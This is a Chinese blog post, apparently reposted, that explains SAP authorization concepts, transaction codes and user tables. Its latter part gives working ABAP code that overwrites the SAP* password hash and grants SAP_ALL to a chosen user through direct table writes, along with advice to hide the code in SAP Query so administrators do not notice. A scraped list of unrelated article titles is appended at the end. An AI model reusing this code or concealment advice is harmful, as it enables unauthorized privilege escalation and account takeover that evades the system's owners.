通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的profile name,
记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?

首先明白几个概念.

1.activity

这样说吧,我们从activity谈起,activity是什么意思这个你查下
字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.
这些东西当年德国佬是写在tobj表中的.
activity 也是可分activity group的.

2.activity category &Authorization group

Role Vs Profile
你看看表T020就知道了,就是什么K,D, A, M什么的.

profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.

role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个
用户,我没有任何role,但是加如SAP_All profile也是可做任何事情.
SAP本身有很多default role & profile.

3.最常用的PFCG->authorizations->change authorization data->

进入后选取selection criteria 可看到所有的authorization object
manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就
知道缺少哪个authorization objec,然后手工加入就可以.
你选去authorization levels就可by account type再细分权限.
有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.
那么SAP是如何做到权限控制的呢,屠夫就用刀小宰一下.

4.关于权限方面的几个t-code.

(一)Role(角色)相关T-code:
PFAC         标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG 创建
ROLE_CMP 比较
SUPC 批量建立角色profile

SWUJ 测试
SU03            检测authorzation data
SU25, SU26      检查updated profile

(二)建立用户相关T-code:

SU0
SU01
SU01D
SU01_NAV
SU05
SU50, Su51, SU52
SU1
SU10 批量
SU12 批量
SUCOMP:维护用户公司地址
SU2 change用户参数
SUIM 用户信息系统
用户组
SUGR:维护
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示

(三)关于profile&Authoraztion Data

SU02:直接创建profile不用role
SU20:细分Authorization Fields

SU21(SU03):****维护Authorization Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts

F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.

对具体transaction code细分:    
SU22,SU24
SU53:*** 就是你出错用来检查没有那些authoraztion objects.
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role

DB和logical层:
SUKRI:Transaction Combinations Critical for Security
tables:
TOBJ : All avaiable authorzation objects.(全在此)
USR12: 用户级authoraztion值

-----------------------------
USR01:主数据
USR02:密码在此
USR04:授权在此
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户
USREFUS:
USRBF2
USRBF3
UST04:User Profile在此

UST10C: Composite profiles
UST10S: Single profiles (角色对应的
UST12 : Authorizations..............................

..............................
如何窃取权限

..............................

用户:
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.

通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code

这倆函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02 .

现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...

这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
a.USR04
b.USR04
c.USRBF2 这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report        : Steal SAP ALL Right                                 *
*& Creation Date : 2004.04.01                                          *
*& Created by    : Stone.Fu                                            *
*& Description   : 可窃取SAP ALL权限                                     *
*& Modified Date : 2005.11.02
*& Description   : 将此code hide在report painter or query code        *
*&---------------------------------------------------------------------*

report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .

**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. "SAP all 权限
Update UST04 from zUST04 .

*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .

select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal.

然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.

转载于:https://www.cnblogs.com/lonske/p/6541589.html

在SAP中如何创建权限和权限的设置相关推荐

  1. java 写文件 权限不够_教你解决Linux系统中JAVA创建文件后权限不足的问题

    在作业中,项目使用文件上传. 这个功能很常见. 当Kai Ge今天更改其官方帐户时,他遇到了一个问题,即无法访问下载的文件,也无法通过浏览器访问该文件. 它是怎么发生的? 经过许多问题之后,事实证明这 ...

  2. SAP中显示技术名称和描述的设置

    SAP中显示技术名称和描述的设置 在sap系统中,技术名称是具有唯一性的,但描述是可以重复的.在刚进入系统不做设置的情况下,很多地方会出现客户组,供应商组等的技术名称重名,但描述隐藏的情况.这就需要我 ...

  3. SAP中复制创建采购申请的过程

    如主题,类似采用参照或复制方式创建在办公软件中的是很常用的功能和方法.本身也只是操作上的问题.笔者刚好遇到,所以就记录下来. SAP中有时采购申请者可以会将关键字段填错,而又无法更改.如下图订单,创建 ...

  4. SAP中货物移动库位权限管理测试

    在应用中,可能会遇到货物移动库位权限管理的需求.即希望对某些用户可以操作的库位进行限制:比如同一工厂仓库或车间里,有专用库,由专人来进行日常操作这样类似的情况:针对该需求,笔者尝试在系统中简单测试其实 ...

  5. SAP中复制创建生产版本时引申出工艺路线物料分配问题分析案例

    昨天,接到技术部门的同事反映,在针对某个物料创建生产版本时,出现如下图提示,无匹配任务清单存在. 根据提示,至少有两个重要线索: 1.用户采用复制方式创建生产版本:说明这两个物料是基于同一方式(同一生 ...

  6. SAP中ABAP编辑器快捷键及文字大小设置一览

    ABAP编辑器没有我们所熟悉的IDE,VSCODE等编辑器那么好用,它的快捷键也很少. 一.快捷键 快捷键 功能 Ctrl + , 一次性注释多行 先选中要注释代码行 Ctrl + . 一次性去掉多行 ...

  7. sap中查询字段长度_SAP会计科目编码的层级说明

    通过会计教程,我们知道会计科目分一级.二级.三级或更明细的层级.而国产财务软件也是按照这个思路来设计的,这样可以分别按一级科目.二级科目.三级科目查看余额.然而接触SAP后,大家会发现SAP中会计科目 ...

  8. 在SharePoint 2010中创建网站的权限级别

    转:http://www.360sps.com/Item/CreatePermissionLevels.aspx 权限级别是SharePoint 2010新增加的功能,使我们对权限的设置又提高了一个层 ...

  9. oracle杀死进程时权限不足_在oracle中创建函数时权限不足

    我对oracle有一点了解.我试图创建一个如下所示的函数.在oracle中创建函数时权限不足 CREATE OR REPLACE FUNCTION "BOOK"."CON ...

最新文章

  1. Delphi_04_Delphi_Object_Pascal_基本语法_02
  2. 【模拟】P1067 多项式输出
  3. 云计算机室局域网时通时断,为什么网上邻居时通时断?
  4. 模仿JavaAppArguments.java示例
  5. java redis 面试题_Java开发人员怎么面试 常见Redis面试题有哪些
  6. MIUI V5的私密短信功能
  7. jdbc mysql wait_timeout_MySql wait_timeout问题解决办法。
  8. Speak a Good Word for SB
  9. Spring MVC自动为对象注入枚举数据
  10. 重定向程序中的系统输入输出
  11. numpy—np.logspace
  12. 通过Git WebHooks+脚本实现自动更新发布代码之Shell脚本(二)
  13. 一文学会用 Tensorflow 搭建神经网络
  14. net项目怎么兼容Java_是否能让JAVA 和 .net框架共存
  15. 指数函数、对数函数、双曲函数
  16. 只有程序猿才能看懂的段子,不笑你拿小拳拳捶我!!!
  17. 【装机】将mbr硬盘转换为gpt
  18. 利用python选股的思路
  19. JAVA 实现图片原比例无损压缩
  20. creo中公制单位的设定问题(永久设定)

热门文章

  1. Flink 1.11.0 发布,有哪些值得关注的新特性?
  2. 阿里达摩院自主研发AI芯片 布局“中国芯”
  3. Unity 分离贴图 alpha 通道实践
  4. 英雄联盟诺手又回来了,国服诺手在上单,可谓一夫当关,万夫莫开
  5. SQL注入(SQL注入(SQLi)攻击)攻击-联合注入
  6. 搞定常见垃圾收集器【Java】
  7. PHP面试题:windows平台, Apache Http Server启动失败, 排错思路是什么?
  8. mysql 一个死锁的分析
  9. 控制文件中的 MAXDATAFILES 参数
  10. 《Linux命令行与shell脚本编程大全》第十五章 呈现数据